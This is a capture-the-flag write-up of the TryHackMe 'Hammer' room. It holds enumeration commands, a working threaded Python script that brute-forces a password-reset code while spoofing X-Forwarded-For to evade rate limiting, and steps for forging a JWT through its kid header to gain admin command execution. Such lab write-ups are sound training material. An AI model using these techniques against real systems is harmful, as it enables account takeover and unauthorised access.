Post

TryHackMe: Hammer

Hammer is a medium rated room on TryHackMe. The room starts with a web server on an unusual port having a login page and a reset password feature, enumerating the web server we found an email that we can use to reset its password after bruteforcing the recovery code, once in, we were able to execute commands, using a low privileged account we couldn’t execute much, tweaking our JWT token we were able to sign a new one that we used to escalate our privileges and execute commands freely.


Enumeration

Nmap Scan

We start with an nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ nmap -sC -sV -oN hammer.out -T4 10.10.177.213
Nmap scan report for 10.10.177.213
Host is up (0.27s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:14:9e:8e:bc:de:ee:d5:e1:45:b4:0f:a8:5e:b9:47 (RSA)
|   256 a0:88:c3:90:43:1a:57:40:36:87:ed:d6:68:d1:98:c9 (ECDSA)
|_  256 13:35:c6:5f:4f:6a:1b:1b:a5:a4:c0:47:8b:1e:da:62 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 30 22:00:49 2024 -- 1 IP address (1 host up) scanned in 12.39 seconds

Looking at the result we only have 1 port open, running nmap one more time with -p- flag for all ports we get a hit on port 1337.

1
2
3
4
5
6
7
8
PORT     STATE SERVICE VERSION
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)

Web Server

Taking a look at port 1337 using our browser we get a login page.

Screenshot

So we start by tring some default credentials but we don’t get anywhere we can see that there’s a forgot password feature as well but it won’t be helpful for the moment as trying to bruteforce it won’t do the trick and we’ll go down a rabbit hole. Looking through the source code of index.php we can see a comment.

1
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->

Taking that into consideration we start crafting our custom wordlist with hmr_ as the first word of each line.

1
2
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ sed "s/^/hmr_/g" /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt > wordlist.txt

Running gobuster on http://10.10.162.11:1337/ will reveal an /hmr_logs directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ gobuster dir -w wordlist.txt -u http://10.10.162.11:1337/ -t 100  -r -o gobuster.out 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.162.11:1337/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                wordlist.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/hmr_images           (Status: 200) [Size: 954]
/hmr_js               (Status: 200) [Size: 962]
/hmr_css              (Status: 200) [Size: 957]
/hmr_logs             (Status: 200) [Size: 948]
Progress: 33788 / 43008 (78.56%)

Taking a look at the directory we can find an error.log file that contains an email that we can use later on.

Going back to the Password Reset, once we submit the email we were asked to enter a recovery code.

Screenshot

Exploitation

Bruteforcing Recovery Code

The first thing that came into our mind is bruteforce! we need to bruteforce the 4 digit code in order to reset that user’s password. Before that, we decided to capture the request using Burpsuite in order to investigate it further.

Screenshot

Taking a closer look, we can see a Rate-Limit-Pending header in the response which means that after a certain amount of requests we will be timed-out/banned, in our case, 5. To bypass that, many techniques can be used hacktricks has them covered in this post. Adding the X-Forwarded-For header allowed us to bypass the rate-limit filter by changing its value with each request.

Now, we are able to bruteforce that recovery code, the only problem left is the 180 secondes, so we need to perform a bruteforce that does not exceed 180 secondes to retrieve the code. Having that in mind we crafted a python script utilizing the concurrent.futures module for threads.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

url = 'http://10.10.162.11:1337/reset_password.php'
headers = {
    'Host': '10.10.162.11:1337',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://10.10.162.11:1337',
    'Connection': 'close',
    'Referer': 'http://10.10.162.11:1337/reset_password.php',
    'Cookie': 'PHPSESSID=1k4655im23fa0vo6ghq1ioeols',
    'Upgrade-Insecure-Requests': '1',
}

def send_request(code):
    x_forwarded_for = f'{code:04d}'  
    recovery_code = x_forwarded_for
    headers['X-Forwarded-For'] = x_forwarded_for
    data = {
        'recovery_code': recovery_code,
        's': '118'
    }
    
    with requests.Session() as session:
        response = session.post(url, headers=headers, data=data)
        response_length = len(response.content)
        return (recovery_code, x_forwarded_for, response.status_code, response_length)

def main():
    start = 1000
    end = 9999
    num_workers = 50  

    with ThreadPoolExecutor(max_workers=num_workers) as executor:
        futures = [executor.submit(send_request, code) for code in range(start, end + 1)]
        for future in as_completed(futures):
            recovery_code, x_forwarded_for, status_code, response_length = future.result()
            print(f'Recovery code {recovery_code} with X-Forwarded-For {x_forwarded_for} sent, status code: {status_code}, response length: {response_length}')

if __name__ == "__main__":
    main()

⚠️ Note: be sure to change the host ip and the PHPSESSID before executing the script

So what the script does is that it keeps sending the POST requests by altering the recovery_code and the X-Forwarded-For values simultaneously from 1000 to 9999 and catches each request response length. The script is not well optimized so we need to keep an eye on the response length, once it gets changed to a new value we can confirm that the code has been found we can now hit CTRL-C to stop the script.

After submiting the email we got and were asked to put the recovery code we launched the script. Letting it run for a while we see the response length has changed from 2202 to 2191 and then to 2192 which means that a code has been found, in our case 7602, the only thing left to do is to refresh the /reset_password.php page and we’ll be asked to change the password.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ python3 script.py
Recovery code 1001 with X-Forwarded-For 1001 sent, status code: 200, response length: 2202
Recovery code 1006 with X-Forwarded-For 1006 sent, status code: 200, response length: 2202
Recovery code 1008 with X-Forwarded-For 1008 sent, status code: 200, response length: 2202
[.....]
Recovery code 7599 with X-Forwarded-For 7599 sent, status code: 200, response length: 2202
Recovery code 7601 with X-Forwarded-For 7601 sent, status code: 200, response length: 2202
Recovery code 7602 with X-Forwarded-For 7602 sent, status code: 200, response length: 2191
Recovery code 7603 with X-Forwarded-For 7603 sent, status code: 200, response length: 2292
Recovery code 7604 with X-Forwarded-For 7604 sent, status code: 200, response length: 2292
[....]

Refreshing the page will result in the possibility to change the password.

Screenshot

Initial Foothold

Logging in with the new credentials we were able to retrieve the first flag and get an input box to execute commands!

Screenshot

Capturing that with burpsuite as we keep getting logged out of the page, we need to set the persistentSession cookie value to yes so we can keep executing commands.

Taking a look at which commands we are able to execute, it seems like there’s only ls that works just fine we can’t do anything else, trying to bypass the filter won’t work as well. Taking a look at the ls output we see different files and directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
188ade1.key
composer.json
config.php
dashboard.php
execute_command.php
hmr_css
hmr_images
hmr_js
hmr_logs
index.php
logout.php
reset_password.php
vendor

within the files/directories we see an odd file, called 188ade1.key trying to get that by browsing to http://10.10.162.11:1337/188ade1.key we were able to download it. Taking a look at the file content we see an md5 hash.

1
2
3
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Hammer]
└─$ cat 188ade1.key            
56058354efb3[REDACTED] 

Trying to crack it will get us into a rabbit hole so we know that the purpose of the file must certainly be something else. Looking for a while we decided to decode our jwt token at https://jwt.io.

Screenshot

JWT Authentification Bypass

The first thing we notice is the kid header referencing /var/www/mykey.key so we know that the tokens are being signed with the content of that file so we are probably able to bypass the jwt authentification via that kid header.

Here is a video by Intigriti, a bug bounty platform, that convers how it works.

Editing the kid value in jwt.io with the path to /var/www/html/188ade1.key, modify the role to admin and setting the secret to the content of that file we were able to sign a new token and execute commands without any filters.

Screenshot

And with that, we can say the room is now over!

This post is licensed under CC BY 4.0 by the author.